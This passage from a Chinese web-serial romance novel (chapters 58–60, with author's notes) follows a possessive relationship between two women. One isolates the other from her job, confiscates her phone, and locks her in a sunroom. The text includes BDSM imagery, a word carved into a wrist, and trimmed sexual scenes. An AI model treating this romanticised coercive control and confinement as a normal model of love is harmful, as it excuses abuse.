蛋糕似乎也有晏辞微亲自调整的成分在。巧克力上的贺词像晏辞微挤上去的。 “一人一半。”安迟叙咬着巧克力,凑到晏辞微面前。 晏辞微抱着她的腰,跟她对着啃。 然后当然亲到一起。同样的味道在两个人之间传递、化开。 甜腻也被茉莉的清香、天竺葵的清苦中和。 蛋糕不大,够她们两个人今晚加明早的份。 只是蛋糕这么方便的食物,吃到一半氛围自然不正经起来。 …… “我要洗手!”安迟叙终于受不住,把晏辞微推开。 谁想出来的用奶油在晏辞微身上写字? 晏辞微又不跟她好好猜,每次都罚她,罚得好痒,好痒。 她们这么了解彼此,她不信晏辞微猜不出来。 就是故意的。 安迟叙把最后一团奶油拍在晏辞微身上。 “不许,团团。”晏辞微捏着她的手,把她按下去。 浑然不顾自己身上满是甜腻。 “还没服侍够呢。” 安迟叙不想玩,晏辞微自会带着她。 “现在换团团来猜吧?”晏辞微彻底掌住安迟叙发腻的手,毫不犹豫往自己身上画。 安迟叙红半个身子,眼都快被欺负出氵了。 “……妈咪。”安迟叙就知道晏辞微要写这个词。 她被松开的那一刻赶紧把那个字抹掉。 哪怕她身上不剩什么奶油,刚刚那个词根本没留下多少痕迹。 在妈咪身上写妈咪。如何不是一种亵渎? 安迟叙最知羞。 “乖。”晏辞微佯装不知,权当她在喊自己。 “去洗吧。我收桌子。”终于放她一条生路。 安迟叙红着脸进了洗手间,长长呼出一口气。 心怦怦跳着,满是纯粹的喜悦。 恍惚间她回到了二十岁那年。没有烦恼,没有自我,没有痛苦的日子。 彼时的生日,晏辞微也带她这么过。给她送好多好多东西,带她吃饭旅游,又欺负她,戏弄她。 时间过得真快啊。 蛋糕上的数字都从20变成24了。 等今年十一月到了,她就要真正的步入25岁了。 安迟叙摘下银饰,想把它也好好清洗一下。 手腕上被刻了许久,已经深到消不掉的字闪过她的眼。 ——Mommy。 安迟叙的mommy。 安迟叙是mommy的。 猩红的字母突突跳起,安迟叙没了动作,只有水声唰唰流。 心口慢慢冷了。 回不去的。 安迟叙睫毛也枯了,慢慢的洗着手,最后把银饰戴上,让mommy刻得更深。 总有一天,这字会磨破她的皮肤,穿透她的血管,融入她的骨髓。 她们不会再回到过去了。 * * * 入夜,布娃娃的附赠品被晏辞微取了下来。 不过一只项.圈。 安迟叙这会儿被kun着手脚,gui坐在床上。 钅寮考带着铃铛,只是呼吸都会叮铃铃的响,提醒着安迟叙她的身份。 ——不过是阶下囚,笼中鸟,妈咪怀里的好女儿。 她看见晏辞微手里的东西,不自觉抬头。 她配合过头了,大概从银手镯贴上肌肤的那一天起,她就在等。 这项.圈却不是给她的。 晏辞微把头发往后甩了下,露出光洁漂亮的脖颈。 安迟叙咽了下口水。 她抬起手。 手边的铃铛汀汀响。 她最喜欢给衣物加铃铛,大概这也被晏辞微学了去,用来羞辱她。 安迟叙想要保持呼吸平稳,不要发出那么大的声音。 铃铛依旧清脆。 她转瞬便放弃了脸面。 总归她喜欢这样。 晏辞微便将项.圈放在她掌心。 仿佛这是至高无上的恩赐一般。 安迟叙的神明为她降下泽惠。 却是要这小小的顽劣信徒亲自替她戴上这份束缚。 晏辞微保持着平日的微笑。 漆黑的眼泛着猩红,血淋淋的盯着安迟叙。 听着止不住,让人害臊的铃铛吵。 安迟叙已经靠近了。她们之间还有上下位的差距,安迟叙太低,晏辞微太高。 只是,晏辞微不需要低头。 她可爱的团团。赤.裸的信徒,忠实的小猫,天真的女儿。 自会努力跪坐起来,摇摇晃晃着铃铛,替她系好那只项.圈。 所以,项.圈戴在谁身上都一样。 牵引绳依旧在晏辞微手里。只是她扯着安迟叙前进,或者引诱安迟叙跟随的区别。 安迟叙总会跟上来。她想要咬住牵引绳,冒犯她伟大的妈咪。 安迟叙刚系完,抓着项.圈的手就被晏辞微按住,往后引。 其实,就算安迟叙留在原地。 晏辞微也会上前,把没有意义的牵引绳交到安迟叙手上。 假装,是安迟叙掌控她。 * * * 暑假过去了。 九月已是金秋。安迟叙今天要穿的是长裙小马甲,晏辞微看过天气,给她换了双长靴,钻了她最喜欢的铃铛。 又给她梳了新的双马尾。低马尾垂在耳后,还有复杂的几股小辫子做妆点。 走在公司里,大家都对她见怪不怪了,没有谁凝视她。 安迟叙也习惯了。晏辞微养她也有一月多,没事不要给自己找不痛快。 她蹦回晏辞微办公室,晏辞微正在接电话。 表情罕见的沉闷。 “……没有的事,母亲。”她语气也不如平时那般柔和,冷透了血脉。 听见安迟叙进来,晏辞微想放下电话。 电话那头的女人异常难缠。 安迟叙抱住晏辞微,竖起耳朵,果真听见她在问自己的事。 晏辞微的母亲一直都不乐意晏辞微和自己交往。 晏辞微已经被烦恼起码一个月了。 安迟叙在她手机上看见的。 心跳隐隐加速。 她等也等了一个月了。 “她本就是公司员工,在公司拍到她,有什么不正常?”晏辞微的眉眼满是不耐烦。 “四九城的总部很闲吗?没事的话我也可以回去。”甚至还放了狠话。 晏辞微和母亲的关系一直不太好。 “……我不想吵架。母亲,你该去忙了。”晏辞微先挂断了电话。 连叹息都不敢有,低头抱紧她的团团。 “家里的事?”安迟叙假装没听出来和自己有关。 “……嗯。你不管,乖团。刚刚怎么不在?” 晏辞微在说话间把表情也调整好了,抱起她喜欢赖成一团猫的安迟叙,亲过她的额头。 “李总监有资料给你,你刚刚在开会,就顺便拿上来了。”安迟叙把东西放在桌上。 只是一件小事而已。 安迟叙把它当举手之劳。 晏辞微却眯了眼。 “团团,我不是说过,你不需要工作、受累吗?” 她语气骤冷,和方才与母亲同话的态度相差无几。 让毫无防备的安迟叙仰起头,惊了一下。 晏辞微连这点事都不允许她超出掌控。 她好像没法再假装,自己能接受这样的生活了—— 作者有话说:申请了插画活动[撒花]两天内能过审,上线会有提示!大家可以抽抽看 顺便两个人的年龄和交往时间因为安迟叙是下半年生日,导致我一直有点弄混了,这章年纪是准的,她是马上25岁,等到25岁生日,距离她们分开也差不多三年了,完结之后再来修 第59章 第 59 章 藏起来 夏热尚未褪去, 结束的只是暑假。 安迟叙想,她该开学了。 季度会议如期召开。 晏辞微那天敷衍母亲似乎敷衍的很到位。 安迟叙没再听到她母亲来电话,晏辞微当真了解她的母亲。 还得另想办法。 安迟叙坐在会议室边上, 听得认真。 往常会议与她无关, 又有太多她听不懂的东西,大多时候她听得昏昏欲睡,只是在等晏辞微结束。 今天却拿了手机,在备忘录做记录。 她拿不到别的。晏辞微不给她电脑,更不会给她纸笔。 这不过是一次尝试。 安迟叙把会议要点打在备忘录里, 试图做一个合格的助理。 会议室靠后的地方, 慕风跟着新上任的策划总监, 在准备她们要汇报的内容。 慕风不时看过安迟叙一眼。 她们的小组已经合并完成, 现在有四十个人, 是整个s市分部策划部门最大的小组之一。 拿到《暴风营地》这样的项目也显得理所当然,到现在,已无人在意她们当初如何拿到,只知一、四两期的内容都由她们负责, 剩下两期还在激烈竞争中。 随着团队规模扩大, 新来的项目也更有含金量。 只可惜…… 慕风和安迟叙对不上眼。一个月过去,她也明白了何语檐当初说的话。 晏辞微这个人很复杂。明明该对外人雷厉风行, 对爱人和颜悦色。 却不许安迟叙做她该做的工作。 就连交接内容有问题, 慕风都没法去问安迟叙。 每次想去找她,电梯都不许她进25楼。别的地方,她也蹲不到安迟叙。 直到慕风她们开始汇报, 安迟叙才和她对上眼。 只有一秒。什么信息都没能留下。 安迟叙心底一阵空寂。 她有些怀念当组长的日子。也许她做的不够好,但至少她有事可做。 人可以放一个月的寒假,两个月的暑假。 但她没法自欺欺人到将就过一辈子。 会议结束, 安迟叙把最后一个字打完,侧头便看见贴在她身边的晏辞微。 “姐姐。”安迟叙关上手机,指尖带了些踌躇。 “乖团。”晏辞微朝她伸出手,桃花眼满是柔光,清灵灵着充满爱意。 安迟叙搭上她的掌心,被她牵了起来。 “刚刚很无聊吧?一直在玩手机。”晏辞微知道安迟叙每次开会都想睡觉。 以前还会留她在办公室一个人玩,当她放暑假时无所事事的女儿。 自从安迟叙顺手把资料带上楼,晏辞微便不再给她自由,每时每刻都要牵她在身边。 “困。”安迟叙自觉把手指探入晏辞微的指缝。 十指相扣着,晏辞微慢慢安定,旁若无人的将安迟叙带入怀抱,走小电梯上25楼了。 安迟叙贴在晏辞微肩膀上,心却紧张。 一收一收的猛跳着。发痒、发痛。 她还必须压抑呼吸,不敢叫晏辞微发现端倪。 但晏辞微的手臂也很敏感。粘着安迟叙发汗的衬衣,贴着她最靠近心脏的地方,数出她鼓动的频率不对。 “怎么了吗?很热?”进了办公室,晏辞微抱着安迟叙坐下,没想揭过这件事。 她们太熟悉彼此。晏辞微最能看穿安迟叙的伪装。 安迟叙心跳成这样,一定有事瞒着她。 安迟叙心脏又一次猛缩。 她对上晏辞微的眼就知道她完全暴露了。 她不过是讲台下自以为悄悄违规的乖乖女,一举一动都被她的老师看得一清二楚。 晏辞微眨眼。桃花眼动了动水光。 安迟叙便无力抵抗,交出了手机。 “会议记录。”她声音放得很轻。 “给你。”以前晏辞微是部门总监,安迟叙也要给她发会议记录。 如今当了助理,反而无所事事了。 安迟叙没敢再看晏辞微的眼。 那双眼里的柔光,也如愿消失了。 化为阴森的冷气。 “团团。”晏辞微接过安迟叙的手机。 “看来下次,这个也要没收了呢。”她眉眼含笑,腔调亦带着不可忽略的笑意。 话语被衬得愈发诡异。 像怨鬼。 安迟叙一个激灵,看见晏辞微在一个字一个字的删她写好的会议记录。 晏辞微按得很慢。长按能加速,但她偏要用指甲一下下地敲键盘。 哒,哒,哒。 哒哒哒哒哒哒…… 晏辞微越来越不耐烦。安迟叙在敲击声中不自觉的颤抖,好像那指甲笃笃地打在她脑门上,是某种催命符。 咚—— 重重的一声。 安迟叙闭上眼一个激灵。 晏辞微只是没能拿稳手机。 空气都被吓静了。 安迟叙听不见声音,惶恐难安,顶着害怕也要睁眼去看。 晏辞微只是在俯身捡手机。 她的动作完全没有声音,布料间的摩擦仿佛彻底消失。 背脊冷冷的冒着白气。 捡完,晏辞微返回备忘录主界面,直接删除了整个会议记录。 备忘录里还有许多别的内容。往下走晏辞微还能看见安迟叙开玩笑说要给她的回忆录。 晏辞微没有动更多东西,关上屏幕,静静的看向安迟叙。 安迟叙太习惯她这样的注视,竟比刚刚安心了一些。 无非是要给她惩罚。 安迟叙心痒难耐。终于明白她这么做的意义。 不过是明知故犯,做下不可能成功的反抗。 求主.人一次垂怜。 晏辞微站了起来。 安迟叙垂下头。等待着疼痛和血腥降临。 伤口好了一个月,她还惦记着那份刺激感。 可晏辞微错过了她。 离开沙发,往办公桌走。 安迟叙愣愣抬头,想要跟上,却被晏辞微周身的寒凉震慑。 等晏辞微转身,安迟叙已经收了脚。 她好像真的又被晏辞微掌控了。可是区区一个月,如何跟自由的两年相比? “团团。”晏辞微回到她面前,手机已经被锁了起来。 安迟叙抿着嘴回望,嘴唇薄得倔强。 “是姐姐哪里做的不好吗?”可,晏辞微只是蹲下了。 近乎半跪着,仰头看向安迟叙。 她们从来没有如此姿态,上下位互换,晏辞微卑微得跪着问她诛心的话。 安迟叙张着嘴深深埋头,一双眼躲不过晏辞微的追踪。 她必须一定非得被晏辞微盯着。 呼吸都变慢了。 晏辞微下垂的眉毛好伤人。比在安迟叙身上留下直愣愣的一刀还痛。 她眼底的清泪好像腥红的血。凄凄得,眼睛挖出来一样可怕。 安迟叙不敢看,却不被放过,必须直面晏辞微的眼泪。 “团团……”晏辞微伸出手,仿佛那只手满是被安迟叙弄出来的伤口,血淋淋的全是骷髅,又布满疲惫的褶皱。 “是哪点对姐姐不满意,才一定要这么伤害姐姐?”她抚上安迟叙的脸颊。 像刀。 在割安迟叙的皮。 安迟叙本能往后瑟缩,晏辞微狠一用力,捏住她的脸颊。最脆弱、最细嫩,也是平日最喜爱的地方。 安迟叙吃痛闭眼,却发觉晏辞微所谓掐捏不过是她的幻觉。 晏辞微只是在抚摸她。 “我,我……没有……”解释都显得苍白。 晏辞微的食指拂开安迟叙眼角的泪。 “那就乖一点,好不好?不要让姐姐这么伤心。”她慢慢换回一个笑。柔和似秋水,一如既往的温润。 安迟叙心惊了一下,转眼已本能的落入晏辞微的怀抱。 她们哪里变了上下位。 安迟叙埋头深吸一口天竺葵的苦香,拽紧晏辞微的衣襟。 一直都是,晏辞微引导她。 哪怕晏辞微戴上项圈,下跪低泣。 * * * 安迟叙失去了手机。 但那个中午,她们在办公室闹得厉害。 她如愿得到了晏辞微的撕咬。怪疼的,安迟叙很喜欢。 她靠着晏辞微发呆。晏辞微工作忙陪不了她,她没了手机什么都做不了。 “后天就还给你。”晏辞微摸摸安迟叙的额头。 安迟叙猜,晏辞微会限制一部分功能。 “先忍一忍。毕竟是团团先犯错,受点惩罚,也是应该的吧?”晏辞微还会哄她的团团。 “嗯。”安迟叙除了答应,没有别的选择。 咬是惩罚。捆绑是惩罚。囚禁是惩罚。 收手机,自然也是惩罚。 只是安迟叙不喜欢罢了。 晏辞微给她一沓红色的卡纸。 安迟叙默然,开始折蝴蝶。 她显然有些生疏了。之前折的那只也不怎么好看。 折了十几对又觉得无趣,就拿着笔开始画晏辞微。 晏辞微中途来看了一样,给安迟叙的自画像添上几笔雀斑。 “我长这样吗?”安迟叙轻颤睫毛,浅笑着。 “比这可爱。”晏辞微点了点她的鼻尖。 两天后安迟叙拿到新手机,这件事似乎就算过去。 安迟叙输入晏辞微的生日打开新手机。好像也没有什么功能被禁用了。 她这才反应过来,没收的这两天,只是对她进行的调.教。 现在她生不出记录会议的心思了。 * * * 晏辞微看得再紧,她们也没法做到每分每秒都在一起。 总有去卫生间的时候。 在公司,晏辞微也不好意思跟高中生一样跟着安迟叙一起去。开完会安迟叙急,晏辞微就在门口等她。 厕所里刚好还有人。 看见是慕风,安迟叙洗手的动作都顿了下。 “安姐!”慕风也很意外,顾不上地点不对,拿出电脑就开始问安迟叙交接的事。 安迟叙赶紧把手洗完擦干。她就说怎么觉得不对,她把资料留给慕风之后,她们都不需要再开个会交接的。 原来只是晏辞微把人拦了下来。 “沈既白那边要多跟她本人沟通,和经纪人说没有用。这些我是和她商量过得出来的,原版也给你们看过……”安迟叙一秒恢复工作状态。 熟悉感催生着多巴胺。 “梅映霜不通过你们好友,那我也没有办法,去线下问吧。第四期结果都出了,也不一定要私聊,她们组一般不做小动作,要小心另一个……” 慕风其实没问两个问题,安迟叙兀自叮嘱了一堆话。 “安姐,其实这些我都有做……”慕风只能弱弱开口,还没能打断安迟叙老母亲一样的叮咛。 慕风不说话了。 她余光忽然瞥见一个黑影,想将电脑拿回。 电脑还在安迟叙手里呢。她抬手去抢,动作比不过黑影。 安迟叙肩头被轻拍了下。 她话停在这儿,不必侧头都知道是谁。 电脑被慕风拿了回去。 “安,安姐,我没更多事了,你先跟晏,晏总走吧……”慕风咽下口水。 谁都知道晏辞微对安迟叙的占有欲多强。 到了不许任何一个人靠近安迟叙的地步。 她还以为晏辞微不在,才问的…… 安迟叙垂了手,保持面对慕风的姿势,没有回头。 “嗯。你走吧。”她无话可说了。 感知到晏辞微来的那一刻,所有关于工作的词全都消失。 是掉进水中的冰块,再也捞不起来。 慕风甚至来不及把电脑装回背着的包里,只抱着它冲出了卫生间。 静默。 肩膀上那只手重了。 安迟叙这才机械的回过头,看向晏辞微。 晏辞微脸上难得没了笑。 寂静如死。整张脸都没了生机,惨白是霜。 连眨眼都没有了。 安迟叙有一秒怀疑,她的爱人早就不是活人,是逝去已久的尸体,被冤魂操控。 “……姐姐,我知错了。”安迟叙转过身,望向晏辞微。 她又一次主动认错。 十八岁那年她曾频繁同晏辞微认错。 毕竟晏辞微是她的母亲,她的教养者。 这样的存在,怎么会出错呢? 把她惹生气,一定是自己的问题。 安迟叙道歉完低下头,等待着晏辞微的宣判。 “我原谅你了。”晏辞微只是松手,挽住安迟叙的胳膊。 牵着她离开。 安迟叙望向走廊。慕风的身影早已消失。 她们小组的办公室也搬了地方,这层楼换了新的人,没一个安迟叙认识。 陌生的脸在办公室里忙忙碌碌。 光影把她们和安迟叙隔开。 安迟叙垂眸,贴紧晏辞微一点。 晏辞微搂住她,轻轻抚摸她的背脊。 乖团。 她从来都该只有她。 * * * 晏辞微应酬多了起来。 安迟叙对那些场合感到不适,晏辞微又不放心让她一个人在家,总喜欢带她出门。 最近第三次了。 安迟叙坐在车上心里满是盘算。 她只是一只很弱的流浪猫。晏辞微是她的主人。 怎样才能咬伤她的主人? 说到底,她有爪子和尖牙,最难越过去的,只是心里的坎。 今天的应酬来的人最多。安迟叙看过晏辞微的手机,在名单里看见好几个姓晏的。都是分支的人,但她们都认识晏明琼。 安迟叙闭上眼。 “很快的,团团。吃个饭就走。”晏辞微蹭过安迟叙的脖颈。 安迟叙拍拍她的手背。 晏辞微顺势扣紧她的手。 晏辞微心里隐隐不安。说不出哪儿不对劲,明明团团最近两周都很听话,前面几次应酬也是这副无精打采的表情。 团团是不太安分,她要行动,从来都有痕迹。 比如夜晚偷看她的手机。 晏辞微一直知道,一直没管,安迟叙想看,那给她看就是了。 晏辞微也不知道安迟叙想找什么。一个半月过去,也没有什么事发生。 没有任何异常,晏辞微只能解释为自己心在乱。 可能是母亲又一次准备来s市了。这次没有晏昭吟,母亲只是来管自己的。 可能她们分开的日子快到了。入了冬,她们分手这件事就会变成三年前的事。 可能新定做的婚纱也快到了。 晏辞微抱紧安迟叙,深呼吸掩饰着不安。 安迟叙回到晏辞微怀里,她准备好了。 进了宴会厅。又是安迟叙不认识的人。 她却比平日都淡定,在晏辞微和人攀谈时上前。 “你这次还带了伴侣啊,真少见。”那人看了眼安迟叙,只跟晏辞微说笑。 “不是伴侣。”安迟叙先晏辞微一步开口。 “我是她养的金丝雀,你好。”唐突又怪异的跟那人打招呼。 “……团团!”晏辞微心脏收紧,预感应验了,她却没有任何应对的办法。 “她乱说的。她是我未婚妻。”晏辞微想要赶紧挽回,牵起安迟叙的手,要给外人展示她们爱的戒指。 可她的动作早就出卖了她们的关系。 晏辞微就算开口,她们心底也只会认为安迟叙是个玩物。 安迟叙干脆认下。 “主.人,您不希望我这样吗?”她声音不大。 仔细听却很清晰。 跟晏辞微攀谈的少姥怪了脸色,四周听见安迟叙话的人纷纷交头接耳。 “不是,团团你在说什么啊,平时不都是喊我姐姐的吗?”晏辞微当真急了。 她好像真的不该带安迟叙来应酬。安迟叙报复的方式太疯,这一次她竟有些招架不住。 “您说的是。姐姐。”安迟叙低下头颅。 她本就是晏辞微养的小猫。 这一个多月彻底变成了金丝雀。 她听见有人在说,要把这件事告诉晏明琼。 她的目的达到了。 …… 回程二人全程无话。 晏辞微连表面和谐都不肯再装,冷一张脸,猛踩油门。 安迟叙被她锁在副驾驶上,神色清淡。 晏辞微不想和她分开。 她也不想提分手。 那,总得有人帮她们。 一个甩尾,车停了下来。晏辞微摔上车门,来到安迟叙这边。 她动作是该粗鲁。安迟叙不必对视都能感受到她有多生气。 落在安迟叙身上,却没多少疼痛。 她被晏辞微抱了下去。晏辞微连双腿都不允许她用了,一定要抱着她走。 不生气吗? 安迟叙看不清晏辞微的眉眼,只能听见她过快的呼吸。 那,也不害怕吗? 安迟叙不知道两年前晏辞微如何说服她的母亲。只是自己没去订婚宴,后来分手晏辞微被罚过,想来晏明琼不会允许她们复合。 步伐声很轻。晏辞微向来不在意这些事,脚步很少收着,平日只是气质盖过声音。 安迟叙看不透她了。 只能扭动,当作挣扎。 “我知道你在想什么。”晏辞微终于明白安迟叙的打算。 她没有动粗,没有咬人,没有罚她的团团,让她痛。 那是没有意义的。安迟叙乐得如此,这些惩罚入不了骨。 “可惜。”晏辞微打开阳光房的门。 里面陈设被全部换过。 变成了晏辞微曾说过的那样。 有着安迟叙用惯的书桌椅,投影仪,摆件、饰品盒…… 装潢和安迟叙这两年在“出租屋”的房间一模一样。 只是多了一整个阳台的绿植,透明能看见花园的玻璃墙。 “只要藏起来,她发现不了你,就好了。” 晏辞微把安迟叙放在她最熟悉的沙发上。 轻柔的抚摸过安迟叙的鬓角。 “我们会永远在一起的。” 一个吻落下。 安迟叙只感觉到冷—— 作者有话说:[闭嘴] 第60章 第 60 章 今晚我们一起逃课 17岁那年的安迟叙看不懂晏辞微这个人。 晏辞微对她这样好, 已经一年了。 就算是玩具,一年过去,新鲜感也该退去。 她们却依旧吃住同行。 安迟叙跟晏辞微的小尾巴一样长在晏辞微身后, 每天呆呆的抓着晏辞微的衣角, 眼帘被发丝关上,鼻尖又被发丝打开。 旧日的洗发水味道也很古早,不是花香型,更接近肥皂水的味道。 很温暖。安迟叙总会不经意多吸一口气,把味道闷进身体里, 再跟晏辞微要个拥抱。 那时的晏辞微已经是校园红人了。人美能力强, 家世神秘为人还低调。 走廊上经常能看见别的班同学悄悄往晏辞微的方向看, 来回走, 反复“路过”。 安迟叙看向她们的眼, 总觉得不那么自在。 她不喜欢她们这么看着晏辞微,又说不出这份不喜欢源自哪儿。 “有在听吗?团。”晏辞微戳了戳她的脸。 “嗯?”安迟叙确实走神,回首脸蛋写着呆,眼里只有晏辞微带来的光。 晏辞微捏了她好几下。 “看她们做什么, 我又不会理她们。”这句话说的很小声。晏辞微假意给安迟叙整理衣领, 唇瓣落在她耳畔,呼吸温热。 安迟叙一个激灵, 竟真的看不见窗外的陌生人了。 不适感淡了一点, 她抓住晏辞微的手。 晏辞微反手扣住她。“逮到你了,团团猫。” 安迟叙被她忽然开演的动作吓了一跳,旋即笑出声。 她的笑声始终很浅很轻, 像猫儿走过木地板。 晏辞微跟着她一起笑,她的笑却张扬,无论什么场合, 她总会成为最耀眼的那一个。 “所以,今晚我们逃课吧。”晏辞微重新说了一遍。 安迟叙今天十七岁了。晏辞微养的小猫也有一岁了。 安迟叙说她没有在外面过生日的经历,晏辞微想带她体验。 “啊?怎,怎么逃课?”安迟叙被吓了一跳。她谨小慎微十七年,字典里哪儿有违反规矩这个词。 晏辞微明明成绩好,还参加学生会,领导各种活动,是老师的心头好。 怎么如此轻易说出打破规矩的话。 “晚饭就走,不回来了。作业不做了,我跟课代表说好了的。”晏辞微眨眼。 “相信我。我们出去过生。”只需要一句话,安迟叙被奇迹般的安抚下来 下午最后一节课,安迟叙忐忑半天的心跳的更快,她忍不住撕了一张纸条,动作又慢又小心,不时看向老师确认没有被抓到,写下一句话。 晏辞微坐在她前面。她们总是前后桌,不知为何在一个组内晏辞微也没有和她同桌。也许是她还不够好。 “安迟叙,这个问题你来说。”老师当然看见安迟叙的小动作了。 她不知道安迟叙在做什么,也能感受到那频繁投过来的视线。 “啊……”安迟叙刚刚走神,没在听课。 无意间她被晏辞微带坏了,也开始不讲规矩。 晏辞微看见纸条的内容:【真的可以不写作业,晚自习不上吗?】 然后回过头告诉她。“答案是三分之根号三。” 安迟叙急忙照着说。 “晏辞微告诉你的答案不作数哈,下次别走神了。”老师也没多为难她。 全班都在笑。安迟叙包着眼泪坐下,耳根红得发烂。 晏辞微传纸条从来不会被发现。 安迟叙注意到时,桌上已经摆了一只折好的红蝴蝶。 她羞得不想看,有点怪罪晏辞微,又偏偏好奇,抓着蝴蝶忍耐。 终于等到下课,把它拆开了。 里面只有一个爱心。 “乖团,羞成这样。”下课铃响晏辞微就转过头,看见她的猫整张脸还在发烫,眼泪汪汪的,想笑又不敢,只好伸手替她擦眼泪。 “还不是你……”她以前从来不会因为走神被点名的。 “我错了。我之后教你怎么传。”晏辞微牵起安迟叙的手,带着她往校门口走。 “不要。”安迟叙任她牵着,还有小脾气没被哄好,睫毛湿漉漉的,雀斑都快消失在红晕里了。 “就不能……”安迟叙走得慢,晏辞微牵着她也不想加速,就温温吞吞的,说话更慢。 头埋得很低,只盯着脚看。 今天不想看晏辞微。安迟叙嘴撅好高,她要晏辞微哄。 “嗯?”晏辞微走在前面踢石头,似乎没注意到她还在生气一样,步伐轻快。 她们要走到校门口了。 晚饭时间本来就能出校门,两个人走出去也不会有人怀疑。 安迟叙看见门槛,忘了脾气和眼泪,回过头去看教学楼,顺着找到了三楼的教室。 真的要这么离开,做一定会被批评的事吗? 可每次被批评,晏辞微都会护着她呢。 风把安迟叙的碎发带向教室的方向,人潮从她身边走过。她和晏辞微的联系仅剩一根手指。 晏辞微却突然抱住她。 “下周我们就坐同桌吧。”时机刚刚好。 晏辞微咬住安迟叙纷飞的碎发,透过她发润的睫毛,看向她闪着清光的眼。 “……才不要你。”安迟叙是想说这件事。被晏辞微戳穿,反而不高兴了。 “我错啦。团团猫,不想跟我一起坐吗?”晏辞微把安迟叙抱出了校门。 哄着她往前走。 安迟叙看不见教室,这才扭过头红着眼看向晏辞微。 还吸鼻子。 “我才被老师批了……”她不高兴,火气很弱,但就是要往晏辞微身上浇。 “那我坐你旁边,不就不会被批了。走吧团团,今天是生日呢,请你吃好吃的。” 晏辞微揉过安迟叙的脸。把她揉得看不清表情。 安迟叙就这样轻易的被哄好,情绪好起来,往晏辞微怀里赖了会儿,钻着她的胸口,傻笑一声。 “坏团。”晏辞微想的有点多了,敲安迟叙一声,带她上了车。 安迟叙第一次去这样的饭店吃饭。好大一个礼堂,层高望不到顶,金灿灿的装饰耀眼,水晶灯把辉煌的颜色扩得更满。 晏辞微定的座位靠路边,没有河景,但夜色下,街灯一盏盏升起。晏辞微坐在安迟叙旁边,带着她往窗户上贴。 平日她都坐安迟叙前后,偏偏吃饭要坐安迟叙同桌。安迟叙掐她胳膊,看不懂,又不太爽。 晏辞微就抱住她。 “感觉被老师批评也值了。”安迟叙高兴了,甚至有一瞬间觉得,不就是没去自习没写作业,有什么大不了。 “是吧。有些规矩其实是明码标价,我们一起挨批,就可以换一次生日聚餐。” 规矩在晏辞微眼里不过是这样另一种价格。 她出身不同,眼界自然不一样。 当时的安迟叙朦朦胧胧的跟上她的思维。 在吃完蛋糕,被她抹掉嘴角的奶油时收到十七岁生日唯一的礼物。 一副过冬套装。 晏辞微亲手织的。帽子围巾手套袜子。 晏辞微总是对的。 后来回忆,老师的批评已经消亡在记忆深处。所谓找家长的惩罚,也被两个人的成绩糊弄过去。 安迟叙只记得那个冬天很温暖。 * * * 25岁的安迟叙猜到了晏辞微会把她关起来。 这是她难得了解晏辞微的时候。 不来自她们的爱,不来自晏辞微一如既往的疯狂,她刻意的刺激和引导。 只是因为,晏辞微的妈妈也被关过。 安迟叙早在听见裴绮玲的阳光房时,就看透晏辞微的行为逻辑,料到自己会有这么一天。 晏辞微和晏明琼可是母女啊。脐带相连,血液相融。 晏辞微在晏明琼的子宫里过了一世那么久。 她们的每一个分子都互换过,相似到难分彼此。 晏辞微只不过在成为一个母亲,她的母亲。 安迟叙拿的是裴绮玲的剧本。 真正走进阳光房的那一刻,安迟叙意外平静。 没有想象中的恐慌、愤怒。更没有悲伤。 反而带了淡淡的喜悦。不知是否因为自己终于猜对了晏辞微的作为。 她想,当年的裴绮玲或许也是这样。 其实她们都有机会逃离晏家别墅,逃离这间不断散发鬼气的阳光房。 没有谁喜欢被关起来,猫会对锁她进笼子的主人龇牙,鸟也会为了自由撞死在笼栏上。 可是她们都爱着一个人。 因为爱,所以逃不掉。 安迟叙是成年人了。她学了两年如何对自己负责。她有主观能动性,她的境地怪不了任何人。 安迟叙自愿走入牢笼,伸出双手让晏辞微锁住。 不过是想要晏辞微的爱。她唯一能得到,唯一能确认的爱。 安迟叙品着这股诡异的喜悦。 比起晏辞微,她更看不懂她自己。 晏辞微却比她更了解她,早就知道这份喜悦,此刻正在引诱它爆发。 这就是母亲和女儿的区别。 安迟叙只能想,也许她们比上一辈更爱彼此。 晏辞微的吻一次又一次落下来。 安迟叙抱住晏辞微,像17岁那年一样和她讨一个拥抱。 晏辞微比17岁那年更爱她,回应相当激烈。 几乎要把她拆散架的抱法。 晏辞微将安迟叙放在给她准备的懒人沙发上,拥吻不断,一次亲一次呼吸,一次呼吸沙发一次深陷。 安迟叙就要被埋进沙发里。这沙发太软了,泥沙一般,稍有不慎整个人就会陷进去。 晏辞微当真要把她藏起来。 藏进自己的沙发里。 像安迟叙是一只小猫。 用沙发的四个角把她折叠起来,猫冲不破这简单的束缚,她会永远留在这间屋子里。 别的地方也可以藏。晏辞微抱起安迟叙,放在那张双人大小的床上,依旧是亲吻。 而后是给安迟叙留的书桌椅。安迟叙被按在书桌上,硬邦邦的桌面膈应着脊背,晏辞微用手当桌垫,吻过她的脖颈。 还有放投影对面的摇摇椅。单人的摇摇椅上总能挤下两个人,晏辞微慢慢解开安迟叙的衣襟,往下吻咬。 她留下好多印记。盖章一样给安迟叙烙上自己的印子。 手腕的一个mommy不够,她还要用牙咬遍安迟叙的全身,在她每一寸肌肤写下一个“mommy”。 安迟叙呼吸急促着想,今天可能要轮到晏辞微来…… 她很坦荡了。 安迟叙不介意,说到底都怪晏辞微不会。 而晏辞微略过了她的…… 只留下亲吻。 她的专属印记。 安迟叙…… 她一不小心给了晏辞微一脚。 晏辞微终于停下。 安迟叙红着眼,红着脸,红着耳朵尖。 和17岁那年分明没什么差别。她有脾气了,总是要晏辞微去哄的。 晏辞微也很会哄安迟叙。抱着她的背,亲吻她发红的耳朵尖。 …… 安迟叙伸出手想用,晏辞微亲吻她的手。 晏辞微已经不必开口。 她每一个亲吻都在说—— “我要把你藏起来。” 每一次摩擦也在说—— “我要把你藏起来。” 藏起来。 妈妈要把女儿藏起来。 主人要把小猫藏起来。 稚童要把玩偶藏起来。 安迟叙被关进了晏辞微给她精心打造的阳光房。 晏辞微离开时,安迟叙坐在能看见绿植的地方。 她没有回头,静默的望着层层叠叠的绿色。 “你想好这样意味着什么了吗?” 安迟叙的话好像是风在说,轻飘飘的分辨不出颜色。 晏辞微猛回过头,只看见安迟叙的背影。 那背影没有落寞,没有强装淡定。 只有真正的平静,如死。 晏辞微锁门的指尖轻颤。 她慢慢关上门,把唯一的通道锁了起来。 今天还没有过去。晏辞微还要去工作,还要去处理人言。 最重要的是,晏明琼打来了电话。一个又一个。在她们刚刚亲密的时候,随着她的呼吸震动。 